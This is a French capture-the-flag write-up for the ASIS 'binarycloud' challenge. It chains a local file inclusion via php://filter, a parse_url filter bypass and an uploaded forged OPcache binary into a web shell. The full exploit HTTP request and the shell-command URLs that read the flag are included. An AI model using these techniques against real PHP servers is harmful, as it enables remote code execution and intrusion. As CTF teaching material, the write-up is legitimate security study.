Description
Now you can upload any types of files, temporarily.
Resolution
Nous commençons par récupérer le fichier robots.txt
User-Agent: * Disallow: / Disallow: /debug.php Disallow: /cache Disallow: /uploads
Le fichier debug.php affiche un phpinfo qui nous indique que la version de php est la 7.0.4-7ubuntu2, qu’opcache est activé et que les fichiers sont mis en cache dans le répertoire /home/binarycloud/www/cache.
Le lien vers le formulaire d’upload est https://binarycloud.asis-ctf.ir/?page=upload ce qui laisse présager une lfi.
Effectivement, une requête vers https://binarycloud.asis-ctf.ir/index.php?page=php://filter/convert.base64-encode/resource=upload nous fournit le code d’upload.
<?php function ew($haystack, $needle) { return $needle === "" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== false); } function filter_directory(){ $data = parse_url($_SERVER['REQUEST_URI']); $filter = ["cache", "binarycloud"]; foreach($filter as $f){ if(preg_match("/".$f."/i", $data['query'])){ die("Attack Detected"); } } } function error($msg){ die("<script>alert('$msg');history.go(-1);</script>"); } filter_directory(); if($_SERVER['QUERY_STRING'] && $_FILES['file']['name']){ if(!file_exists($_SERVER['QUERY_STRING'])) error("error3"); $name = preg_replace("/[^a-zA-Z0-9\.]/", "", basename($_FILES['file']['name'])); if(ew($name, ".php")) error("error"); $filename = $_SERVER['QUERY_STRING'] . "/" . $name; if(file_exists($filename)) error("exists"); if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)){ die("uploaded at <a href=$filename>$filename</a><hr><a href='javascript:history.go(-1);'>Back</a>"); }else{ error("error"); } } ?> <hr> <form action="upload.php?uploads" enctype="multipart/form-data" method="post"> <p>Please specify the file to upload!</p> <input class="form-control" type="file" name="file"><br> <input class="form-control" type="submit" value="Upload!"> </form>
Après lecture du code, on remarque que la fonction filter_directory() utilise parse_url($_SERVER[‘REQUEST_URI’]) alors que move_uploaded_file() utilise $_SERVER[‘QUERY_STRING’].
Cela nous laisse supposer qu’il y a un moyen de contourner filter_directory() en utilisant un bug dans parse_url.
Après de multiples essais, nous trouvons une méthode de contournement.
php7.0 test.php '//upload.php?/home/binarycloud/www/cache/' Array ( [host] => upload.php? [path] => /home/binarycloud/www/cache/ )
Il nous faut à présent générer le binaire home.php.bin, pour cela nous installons un serveur identique à celui du challenge (ubuntu, nginx, php-fpm) et nous activons opcache.
Une fois notre binaire généré, nous l’envoyons et récupérons notre shellcode.
POST //upload.php?/home/binarycloud/www/cache/81d80d78c6ef96b89afaadc7ffc5d7ea/home/binarycloud/www/ HTTP/1.1 Host: binarycloud.asis-ctf.ir Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Content-Type: multipart/form-data; boundary=---------------------------21008119083100235961415588990 Content-Length: 1220 -----------------------------21008119083100235961415588990 Content-Disposition: form-data; name="file"; filename="home.php.bin" Content-Type: application/octet-stream OPCACHE 81d80d78c6ef96b89afaadc7ffc5d7ea .................. -----------------------------21008119083100235961415588990--
Quelques requêtes plus loin
https://binarycloud.asis-ctf.ir/home.php?ghfjkcsrf=ls-l /
https://binarycloud.asis-ctf.ir/home.php?ghfjkcsrf=cat /WH4T_1S_7H3_FL4G
Le flag est : ASIS{5e00f204374f9ce481acc97294eda1f0}